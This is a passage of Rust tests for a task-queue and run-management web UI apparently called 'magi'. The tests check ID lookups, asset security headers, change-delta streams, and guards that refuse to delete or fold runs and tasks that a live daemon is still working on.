17792 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
17793 }
17794
17795 #[test]
17796 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
17797 let ids = vec![
17798 "20260902-140501-aaaa".to_owned(),
17799 "20260902-140502-aabb".to_owned(),
17800 ];
17801
17802 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
17803 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
17804 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
17805
17806 assert_eq!(missing.status, StatusCode::NOT_FOUND);
17807 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
17808 assert_eq!(short, "20260902-140502-aabb");
17809 }
17810 #[tokio::test]
17811 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
17812 let fx = Fixture::start().await;
17818 let id = panel(
17819 &fx,
17820 "<img src=\"shot.png\">",
17821 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17822 );
17823
17824 let doc = fx
17826 .get(&format!("/api/questions/{id}/panel/index.html"))
17827 .await;
17828 assert_eq!(doc.status, 200, "{}", doc.body);
17829 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17830
17831 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17832 assert_eq!(sibling.status, 200, "{}", sibling.body);
17833 assert_eq!(sibling.header("content-type"), Some("image/png"));
17834 assert_eq!(
17835 sibling.header("content-security-policy"),
17836 Some(PANEL_CSP),
17837 "the sibling route must carry the same policy as the asset route"
17838 );
17839
17840 assert_eq!(
17843 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17844 200
17845 );
17846 }
17847
17848 #[test]
17849 fn delta_stamps_cover_add_update_remove_and_noop() {
17850 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17851 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17852 let delta = diff_stamps(&before, &after, 42);
17853 assert_eq!(delta.base, 42);
17854 assert_eq!(delta.changed, ["b", "c"]);
17855 assert_eq!(delta.removed, ["a"]);
17856 let same = diff_stamps(&after, &after, 43);
17857 assert!(same.changed.is_empty() && same.removed.is_empty());
17858 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17859 let nanos: Stamps = [("b".into(), (2, 20))].into();
17860 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17861 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17862 assert_eq!(stamps_revision(&Stamps::new()), 0);
17863 }
17864
17865 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17866 std::fs::create_dir_all(home.join("runs")).unwrap();
17867 Arc::new(Ui::new(
17868 Queue::at(home.join("queue")),
17869 Questions::at(home.join("questions")),
17870 Talks::at(home.join("talks")),
17871 home.join("runs"),
17872 home.to_owned(),
17873 PathBuf::from("/repo/magi"),
17874 ))
17875 }
17876
17877 #[tokio::test]
17878 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17879 let home = TempDir::new().unwrap();
17880 let ui = delta_test_ui(home.path());
17881 let mut task = Task::new(
17882 "stream task".into(),
17883 "text".into(),
17884 PathBuf::from("/repo"),
17885 Source::Human,
17886 );
17887 ui.queue.put(&mut task).unwrap();
17888 let response = events(State(ui.clone())).await.into_response();
17889 let mut stream = response.into_body().into_data_stream();
17890 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17891 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17892 .await
17893 .unwrap()
17894 .unwrap()
17895 .unwrap();
17896 let text = String::from_utf8(chunk.to_vec()).unwrap();
17897 let data = text
17898 .lines()
17899 .find_map(|line| {
17900 line.strip_prefix("data: ")
17901 .or_else(|| line.strip_prefix("data:"))
17902 })
17903 .unwrap();
17904 serde_json::from_str(data).unwrap()
17905 }
17906 let initial = change(&mut stream).await;
17907 assert!(initial.get("queue_delta").is_none());
17908 task.instruction.push_str(" changed");
17909 ui.queue.put(&mut task).unwrap();
17910 let updated = change(&mut stream).await;
17911 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17912 assert_eq!(
17913 updated["queue_delta"]["changed"],
17914 serde_json::json!([task.id])
17915 );
17916 assert_eq!(
17917 updated["queue_rev"].as_u64(),
17918 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17919 );
17920 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17921 let removed = change(&mut stream).await;
17922 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17923 assert_eq!(
17924 removed["queue_delta"]["removed"],
17925 serde_json::json!([task.id])
17926 );
17927 }
17928
17929 #[tokio::test]
17930 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17931 let home = TempDir::new().unwrap();
17932 let ui = delta_test_ui(home.path());
17933 let queue = ui.queue.clone();
17934 let query = |ids: Option<&str>| {
17935 Query(ListQuery {
17936 limit: Some(2),
17937 ids: ids.map(str::to_owned),
17938 })
17939 };
17940 let mut root = Task::new(
17941 "root".into(),
17942 "instruction".into(),
17943 PathBuf::from("/repo"),
17944 Source::Human,
17945 );
17946 queue.put(&mut root).unwrap();
17947 let mut blocked = Task::new(
17948 "blocked".into(),
17949 "instruction".into(),
17950 PathBuf::from("/repo"),
17951 Source::Human,
17952 );
17953 blocked.block(vec![root.id.clone()], None);
17954 queue.put(&mut blocked).unwrap();
17955 let whole =
17956 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17957 .unwrap();
17958 let subset = serde_json::to_value(
17959 queue_list(State(ui.clone()), query(Some(&root.id)))
17960 .await
17961 .unwrap()
17962 .0,
17963 )
17964 .unwrap();
17965 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17966 let blockers = serde_json::to_value(
17967 queue_list(State(ui.clone()), query(Some("")))
17968 .await
17969 .unwrap()
17970 .0,
17971 )
17972 .unwrap();
17973 assert_eq!(blockers.as_array().unwrap().len(), 1);
17974 assert_eq!(blockers[0]["id"], blocked.id);
17975 assert_eq!(
17976 blockers[0]["waits_on"],
17977 whole
17978 .as_array()
17979 .unwrap()
17980 .iter()
17981 .find(|row| row["id"] == blocked.id)
17982 .unwrap()["waits_on"]
17983 );
17984
17985 for id in [
17986 "20260902-140501-aaaa",
17987 "20260902-140502-bbbb",
17988 "20260902-140503-cccc",
17989 ] {
17990 write_run(&ui.runs, id, RunStatus::Merged);
17991 }
17992 let old = serde_json::to_value(
17993 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17994 .await
17995 .unwrap()
17996 .0,
17997 )
17998 .unwrap();
17999 assert!(
18000 old.as_array().unwrap().is_empty(),
18001 "older updates must not enter the window"
18002 );
18003 let newest = serde_json::to_value(
18004 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18005 .await
18006 .unwrap()
18007 .0,
18008 )
18009 .unwrap();
18010 assert_eq!(newest.as_array().unwrap().len(), 1);
18011 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18012
18013 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18014 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18015 let talks = serde_json::to_value(
18016 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18017 .await
18018 .unwrap()
18019 .0,
18020 )
18021 .unwrap();
18022 assert_eq!(talks.as_array().unwrap().len(), 1);
18023 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18024 assert_eq!(
18025 serde_json::to_value(
18026 talks_list(State(ui.clone()), query(Some("")))
18027 .await
18028 .unwrap()
18029 .0
18030 )
18031 .unwrap(),
18032 serde_json::json!([])
18033 );
18034 }
18035
18036 #[tokio::test]
18037 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18038 async fn delta_payload_benchmark() {
18039 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18040 let ui = delta_test_ui(&home);
18041 let query = |ids: Option<String>| {
18042 Query(ListQuery {
18043 limit: Some(50),
18044 ids,
18045 })
18046 };
18047 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18048 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18049 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18050 let queue_id = queue
18051 .iter()
18052 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18053 .unwrap_or(&queue[0])
18054 .task
18055 .id
18056 .clone();
18057 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18058 .await
18059 .unwrap()
18060 .0;
18061 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18062 .await
18063 .unwrap()
18064 .0;
18065 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18066 .await
18067 .unwrap()
18068 .0;
18069 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18070 eprintln!(
18071 "DELTA_PAYLOAD {}",
18072 serde_json::json!({
18073 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18074 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18075 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18076 "counts": [queue.len(), runs.len(), talks.len()],
18077 "blocked": queue_delta.len() - 1,
18078 })
18079 );
18080 }
18081
18082 #[test]
18083 fn runs_revision_moves_when_deleting_an_older_run() {
18084 let temp = TempDir::new().expect("tempdir");
18085 let runs = temp.path().join("runs");
18086 std::fs::create_dir_all(&runs).expect("create runs dir");
18087
18088 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18089
18090 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18091 std::thread::sleep(Duration::from_millis(10));
18092 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18093
18094 let rev_before = runs_revision(&runs);
18095 assert!(rev_before > 0);
18096
18097 let old_dir = runs.join("20260901-100000-old1");
18098 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18099
18100 let rev_after = runs_revision(&runs);
18101 assert_ne!(
18102 rev_before, rev_after,
18103 "deleting an older run must change the revision so other clients see the deletion"
18104 );
18105 }
18106
18107 fn write_state(runs: &FsPath, state: &RunState) {
18112 let dir = runs.join(&state.id);
18113 std::fs::create_dir_all(&dir).expect("run dir");
18114 std::fs::write(
18115 dir.join("run.json"),
18116 serde_json::to_string_pretty(state).expect("serialize run"),
18117 )
18118 .expect("write run.json");
18119 }
18120
18121 #[test]
18126 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18127 let temp = TempDir::new().expect("tempdir");
18128 let runs = temp.path().join("runs");
18129 std::fs::create_dir_all(&runs).expect("create runs dir");
18130 let mut state = RunState::new(
18131 PathBuf::from("/repo/magi"),
18132 "main".to_owned(),
18133 "0123456789abcdef".to_owned(),
18134 "task".to_owned(),
18135 Config::default(),
18136 );
18137 state.id = "20260902-100000-c0de".to_owned();
18138 write_state(&runs, &state);
18139
18140 let rev_idle = runs_revision(&runs);
18141 std::thread::sleep(Duration::from_millis(10));
18142 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18143 write_state(&runs, &state);
18144 let rev_started = runs_revision(&runs);
18145 assert_ne!(
18146 rev_idle, rev_started,
18147 "a seat starting must move the revision"
18148 );
18149
18150 std::thread::sleep(Duration::from_millis(10));
18151 state.seat_finished("judge-1");
18152 write_state(&runs, &state);
18153 let rev_finished = runs_revision(&runs);
18154 assert_ne!(
18155 rev_started, rev_finished,
18156 "and clearing it again must move the revision a second time"
18157 );
18158 }
18159
18160 #[tokio::test]
18161 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18162 let fx = Fixture::start().await;
18167 let q = fx.queue();
18168
18169 let mut t = Task::new(
18170 "Task".to_owned(),
18171 "Instruction".to_owned(),
18172 PathBuf::from("/repo"),
18173 Source::Human,
18174 );
18175 t.block(
18176 vec!["20260101-000000-dead".to_owned()],
18177 Some("waiting on Task 1".to_owned()),
18178 );
18179 t.answers.push(crate::queue::AnsweredQuestion {
18180 question: "Which backend?".to_owned(),
18181 answer: "SQLite".to_owned(),
18182 });
18183 q.put(&mut t).expect("put t");
18184
18185 let res = fx.get("/api/queue").await;
18186 assert_eq!(res.status, 200);
18187 let list = res.json();
18188 let view = list
18189 .as_array()
18190 .expect("array")
18191 .iter()
18192 .find(|v| v["id"] == t.id)
18193 .expect("task in list");
18194 assert_eq!(view["status_str"], "blocked");
18195 assert_eq!(
18196 view["blocked_by"],
18197 serde_json::json!(["20260101-000000-dead"])
18198 );
18199 assert_eq!(view["block_reason"], "waiting on Task 1");
18200 assert_eq!(view["answers"][0]["question"], "Which backend?");
18201 assert_eq!(view["answers"][0]["answer"], "SQLite");
18202
18203 let res = fx
18207 .post(&format!("/api/queue/{}/hold", t.short()), None)
18208 .await;
18209 assert_eq!(res.status, 200);
18210 let held = res.json();
18211 assert_eq!(held["status_str"], "held");
18212 assert_eq!(held["blocked_by"], serde_json::json!([]));
18213 assert!(held["block_reason"].is_null());
18214 assert_eq!(held["answers"][0]["answer"], "SQLite");
18215 }
18216
18217 #[tokio::test]
18218 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18219 let fx = Fixture::start().await;
18220 let q = fx.queue();
18221 let mk = |title: &str| {
18222 Task::new(
18223 title.to_owned(),
18224 "Instruction".to_owned(),
18225 PathBuf::from("/repo"),
18226 Source::Human,
18227 )
18228 };
18229 let mut root = mk("root");
18230 root.hold_manual(Some("waiting".to_owned()));
18231 q.put(&mut root).unwrap();
18232 let mut mid = mk("mid");
18233 mid.block(vec![root.id.clone()], None);
18234 q.put(&mut mid).unwrap();
18235 let mut leaf = mk("leaf");
18236 leaf.block(vec![mid.id.clone()], None);
18237 q.put(&mut leaf).unwrap();
18238
18239 let list = fx.get("/api/queue").await.json();
18240 let find = |id: &str| {
18241 list.as_array()
18242 .unwrap()
18243 .iter()
18244 .find(|v| v["id"] == id)
18245 .unwrap()
18246 .clone()
18247 };
18248 let leaf_view = find(&leaf.id);
18249 assert_eq!(
18250 leaf_view["waits_on"],
18251 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18252 );
18253 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18254 assert_eq!(
18255 find(&mid.id)["waits_on"],
18256 serde_json::json!([format!("{} (held)", root.short())])
18257 );
18258 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18259 }
18260
18261 #[tokio::test]
18262 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18263 let fx = Fixture::start().await;
18264 let q = fx.queue();
18265
18266 let mut t1 = Task::new(
18268 "Task 1".to_owned(),
18269 "Instruction 1".to_owned(),
18270 PathBuf::from("/repo"),
18271 Source::Human,
18272 );
18273 let run_id = "20260901-000000-r111";
18274 t1.runs.push(run_id.to_owned());
18275 write_run(&fx.runs(), run_id, RunStatus::Merged);
18276 q.put(&mut t1).expect("put t1");
18277
18278 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18280 assert_eq!(res.status, 204);
18281 assert!(res.body.is_empty(), "204 No Content has no body");
18282 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18283 assert!(
18284 fx.runs().join(run_id).exists(),
18285 "run directory must not be deleted when its task is deleted"
18286 );
18287
18288 let mut t2 = Task::new(
18290 "Task 2".to_owned(),
18291 "Instruction 2".to_owned(),
18292 PathBuf::from("/repo"),
18293 Source::Human,
18294 );
18295 t2.status = TaskStatus::Running;
18296 q.put(&mut t2).expect("put t2");
18297 let mut beat = crate::daemon::Status::new();
18298 beat.current = vec![crate::daemon::Current {
18299 task: t2.id.clone(),
18300 run: "20260901-000000-r222".to_owned(),
18301 }];
18302 beat.updated_at = jiff::Timestamp::now();
18303 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18304 .expect("publish a heartbeat");
18305 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18306 assert_eq!(res.status, 409);
18307 assert!(
18308 res.json()["error"]
18309 .as_str()
18310 .unwrap()
18311 .contains("live daemon")
18312 );
18313 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18314
18315 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18321 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18322 .expect("leave a stale heartbeat");
18323 let mut t3 = Task::new(
18324 "Task 3".to_owned(),
18325 "Instruction 3".to_owned(),
18326 PathBuf::from("/repo"),
18327 Source::Human,
18328 );
18329 t3.status = TaskStatus::Running;
18330 q.put(&mut t3).expect("put t3");
18331 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18332 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18333 assert_eq!(res.status, 204);
18334 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18335 assert!(
18336 q.claim(&t3.id).is_ok(),
18337 "the stale lock went with it, so the id is claimable again"
18338 );
18339
18340 let res = fx.delete("/api/queue/nonexistent").await;
18342 assert_eq!(res.status, 404);
18343 }
18344
18345 #[tokio::test]
18346 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18347 let fx = Fixture::start().await;
18348 let runs = fx.runs();
18349
18350 let run_id = "20260901-000000-fold";
18352 let mut state = RunState::new(
18353 PathBuf::from("/repo"),
18354 "main".to_owned(),
18355 "abc".to_owned(),
18356 "instruction".to_owned(),
18357 Config::default(),
18358 );
18359 state.id = run_id.to_owned();
18360 state.status = RunStatus::Merged;
18361 state.candidates.push(crate::run::Candidate {
18362 index: 0,
18363 label: 'A',
18364 agent: "a".to_owned(),
18365 branch: "b".to_owned(),
18366 worktree: PathBuf::from("/w"),
18367 summary: String::new(),
18368 stat: String::new(),
18369 files: 1,
18370 commits: 1,
18371 empty: false,
18372 failed: None,
18373 verified_noop: None,
18374 duration_ms: 0,
18375 folded: true,
18376 });
18377 let dir = runs.join(run_id);
18378 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18379 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18380 .expect("write artifact");
18381 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18382 .expect("write run.json");
18383
18384 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18386 assert_eq!(res.status, 204);
18387 assert!(res.body.is_empty(), "204 has no body");
18388 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18389
18390 let run_running = "20260901-000000-rung";
18395 write_run(&runs, run_running, RunStatus::Prep);
18396 let mut beat = crate::daemon::Status::new();
18397 beat.current = vec![crate::daemon::Current {
18398 task: "20260901-000000-task".to_owned(),
18399 run: run_running.to_owned(),
18400 }];
18401 beat.updated_at = jiff::Timestamp::now();
18402 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18403 .expect("publish a heartbeat");
18404 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
18405 assert_eq!(res.status, 409);
18406 assert!(
18407 res.json()["error"]
18408 .as_str()
18409 .unwrap()
18410 .contains("live daemon"),
18411 "the refusal must say who is holding it"
18412 );
18413 assert!(
18414 runs.join(run_running).exists(),
18415 "a run in flight keeps its directory"
18416 );
18417
18418 let run_unfolded = "20260901-000000-unfd";
18420 let mut state2 = RunState::new(
18421 PathBuf::from("/repo"),
18422 "main".to_owned(),
18423 "abc".to_owned(),
18424 "instruction".to_owned(),
18425 Config::default(),
18426 );
18427 state2.id = run_unfolded.to_owned();
18428 state2.status = RunStatus::Ready;
18429 state2.candidates.push(crate::run::Candidate {
18430 index: 0,
18431 label: 'A',
18432 agent: "a".to_owned(),
18433 branch: "b".to_owned(),
18434 worktree: PathBuf::from("/w"),
18435 summary: String::new(),
18436 stat: String::new(),
18437 files: 1,
18438 commits: 1,
18439 empty: false,
18440 failed: None,
18441 verified_noop: None,
18442 duration_ms: 0,
18443 folded: false,
18444 });
18445 let dir2 = runs.join(run_unfolded);
18446 std::fs::create_dir_all(&dir2).expect("create dir2");
18447 std::fs::write(
18448 dir2.join("run.json"),
18449 serde_json::to_string(&state2).unwrap(),
18450 )
18451 .expect("write run.json");
18452
18453 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
18454 assert_eq!(res.status, 409);
18455 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
18456 assert!(dir2.exists(), "unfolded run directory is kept");
18457
18458 let res = fx.delete("/api/runs/nonexistent").await;
18460 assert_eq!(res.status, 404);
18461 }
18462
18463 #[test]
18472 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
18473 let start = APP_JS
18474 .find("function renderStats() {")
18475 .expect("renderStats");
18476 let end = start
18477 + APP_JS[start..]
18478 .find("function statsTile(")
18479 .expect("the next top-level function");
18480 let body = &APP_JS[start..end];
18481
18482 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
18483 let gate_end = gate_start
18484 + body[gate_start..]
18485 .find("}\n renderStatsQueue")
18486 .expect("the gate's own closing brace, right before the unconditional call");
18487 let gated = &body[gate_start..gate_end];
18488
18489 assert_eq!(
18490 body.matches("renderStatsQueue(").count(),
18491 1,
18492 "renderStats must call renderStatsQueue exactly once: {body}"
18493 );
18494 assert!(
18495 !gated.contains("renderStatsQueue"),
18496 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
18497 run-derived panels on an empty run history - the queue panel has to render \
18498 regardless: {gated}"
18499 );
18500 }
18501
18502 #[test]
18503 fn web_ui_delete_contract_in_front_end() {
18504 assert!(APP_JS.contains("deleteRun:"));
18506 assert!(APP_JS.contains("deleteTask:"));
18507
18508 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18510 ..APP_JS.find("function renderRuns").unwrap()];
18511 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18512
18513 assert!(APP_JS.contains("renderRunDelete"));
18515 assert!(APP_JS.contains("runDeleteReason"));
18516 assert!(APP_JS.contains("magi fold"));
18517 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18518
18519 assert!(APP_JS.contains("cancel.focus"));
18521 assert!(APP_JS.contains("armedRunDelete"));
18522 assert!(APP_JS.contains("renderTaskDeleteBox"));
18523 assert!(APP_JS.contains("armed${cap(key)}"));
18524
18525 assert!(APP_JS.contains("disabled: status === \"running\""));
18527 }
18528
18529 #[test]
18549 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18550 let build = APP_JS
18551 .find("function createRunCard")
18552 .expect("createRunCard exists");
18553 let update = APP_JS
18554 .find("function updateRunCard")
18555 .expect("updateRunCard exists");
18556 let end = APP_JS
18557 .find("function renderRuns")
18558 .expect("renderRuns exists");
18559
18560 let builder = &APP_JS[build..update];
18562 let open = builder.find("refs = {").expect("createRunCard sets refs");
18563 let literal = &builder[open + "refs = {".len()..];
18564 let close = literal.find('}').expect("the refs literal is closed");
18565 let published: HashSet<&str> = literal[..close]
18566 .split(',')
18567 .filter_map(|entry| entry.split(':').next())
18569 .map(str::trim)
18570 .filter(|name| !name.is_empty())
18571 .collect();
18572 assert!(
18573 published.len() > 5,
18574 "the refs literal did not parse into names: {published:?}"
18575 );
18576
18577 let mut used: Vec<&str> = Vec::new();
18580 let updaters = &APP_JS[update..end];
18581 for (at, _) in updaters.match_indices("r.") {
18582 let before = updaters[..at].chars().next_back();
18585 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18586 continue;
18587 }
18588 let rest = &updaters[at + 2..];
18589 let len = rest
18590 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18591 .unwrap_or(rest.len());
18592 if len > 0 {
18593 used.push(&rest[..len]);
18594 }
18595 }
18596 assert!(
18597 used.len() > 5,
18598 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18599 );
18600
18601 let missing: Vec<&str> = used
18602 .iter()
18603 .copied()
18604 .filter(|name| !published.contains(name))
18605 .collect();
18606 assert!(
18607 missing.is_empty(),
18608 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18609 never put in `refs` - every card will throw and the list will \
18610 render empty under a count line that says otherwise. Published: \
18611 {published:?}"
18612 );
18613 }
18614
18615 #[tokio::test]
18616 async fn folding_from_the_phone_reports_what_it_removed() {
18617 let fx = Fixture::start().await;
18618 let runs = fx.runs();
18619
18620 let id = "20260901-000000-fold";
18624 write_run(&runs, id, RunStatus::Stalled);
18625 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18626 assert_eq!(res.status, 200);
18627 assert_eq!(res.json()["removed_count"], 0);
18628 assert_eq!(res.json()["run"], id);
18629 assert!(
18630 runs.join(id).exists(),
18631 "a fold keeps the run's record; only the worktrees go"
18632 );
18633 }
18634
18635 #[tokio::test]
18636 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18637 let fx = Fixture::start().await;
18638 let runs = fx.runs();
18639 let wt = fx.home.path().join("wt").join("magi").join("dead");
18640 let id = "20260901-000000-dead";
18641 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18642 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18643 std::fs::create_dir_all(&wt).expect("worktree dir");
18644
18645 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18646 assert_eq!(res.status, 200, "{}", res.body);
18647 assert!(
18648 res.json()["removed_count"].as_u64().unwrap() > 0,
18649 "the worktree this build could not read a state for still went"
18650 );
18651 assert!(
18652 !runs.join(id).exists(),
18653 "an unreadable run has no candidate list to fold selectively, so \
18654 the whole record goes - same as `magi fold` on the CLI"
18655 );
18656 }
18657
18658 #[tokio::test]
18659 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18660 let fx = Fixture::start().await;
18661 let runs = fx.runs();
18662 let wt = fx.home.path().join("wt").join("magi").join("gone");
18663 let id = "20260901-000000-gone";
18664 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18665 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18666 std::fs::create_dir_all(&wt).expect("worktree dir");
18667
18668 let res = fx.delete(&format!("/api/runs/{id}")).await;
18669 assert_eq!(res.status, 204, "{}", res.body);
18670 assert!(!runs.join(id).exists(), "the broken record is gone");
18671 assert!(!wt.exists(), "its worktree is gone too");
18672 }
18673
18674 #[tokio::test]
18675 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18676 let fx = Fixture::start().await;
18677 let runs = fx.runs();
18678 let id = "20260901-000000-live";
18679 write_run(&runs, id, RunStatus::Implementing);
18680
18681 let mut beat = crate::daemon::Status::new();
18682 beat.current = vec![crate::daemon::Current {
18683 task: "20260901-000000-task".to_owned(),
18684 run: id.to_owned(),
18685 }];
18686 beat.updated_at = jiff::Timestamp::now();
18687 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18688 .expect("publish a heartbeat");
18689
18690 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18691 assert_eq!(res.status, 409);
18692 assert!(
18693 res.json()["error"]
18694 .as_str()
18695 .unwrap()
18696 .contains("live daemon"),
18697 "folding under a running agent would pull its worktree away"
18698 );
18699 }
18700
18701 #[tokio::test]
18702 async fn fold_merged_requires_a_pr_url() {
18703 let fx = Fixture::start().await;
18704 let runs = fx.runs();
18705 let id = "20260901-000000-nourl";
18706 write_run(&runs, id, RunStatus::Blocked);
18707
18708 let res = fx
18709 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
18710 .await;
18711 assert_eq!(res.status, 400, "{}", res.body);
18712
18713 let blank = fx
18714 .post(
18715 &format!("/api/runs/{id}/fold-merged"),
18716 Some(r#"{"pr_url":" "}"#),
18717 )
18718 .await;
18719 assert_eq!(blank.status, 400, "{}", blank.body);
18720 }
18721
18722 #[tokio::test]
18723 async fn fold_merged_is_404_for_an_unknown_run() {
18724 let fx = Fixture::start().await;
18725 let res = fx
18726 .post(
18727 "/api/runs/nosuchrun/fold-merged",
18728 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18729 )
18730 .await;
18731 assert_eq!(res.status, 404, "{}", res.body);
18732 }
18733
18734 #[tokio::test]
18735 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
18736 let fx = Fixture::start().await;
18737 let runs = fx.runs();
18738 let id = "20260901-000000-livemerge";
18739 write_run(&runs, id, RunStatus::Blocked);
18740
18741 let mut beat = crate::daemon::Status::new();
18742 beat.current = vec![crate::daemon::Current {
18743 task: "20260901-000000-task".to_owned(),
18744 run: id.to_owned(),
18745 }];
18746 beat.updated_at = jiff::Timestamp::now();
18747 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18748 .expect("publish a heartbeat");
18749
18750 let res = fx
18751 .post(
18752 &format!("/api/runs/{id}/fold-merged"),
18753 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18754 )
18755 .await;
18756 assert_eq!(res.status, 409, "{}", res.body);
18757 assert!(
18758 res.json()["error"]
18759 .as_str()
18760 .unwrap()
18761 .contains("live daemon"),
18762 "correcting a run's merge underneath a running agent would race \
18763 whatever it is doing to the same `status`/`merge` fields"
18764 );
18765 }
18766
18767 #[tokio::test]
18772 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
18773 let fx = Fixture::start().await;
18774 let runs = fx.runs();
18775 let id = "20260901-000000-unconfirmed";
18776 write_run(&runs, id, RunStatus::Blocked);
18777
18778 let res = fx
18779 .post(
18780 &format!("/api/runs/{id}/fold-merged"),
18781 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18782 )
18783 .await;
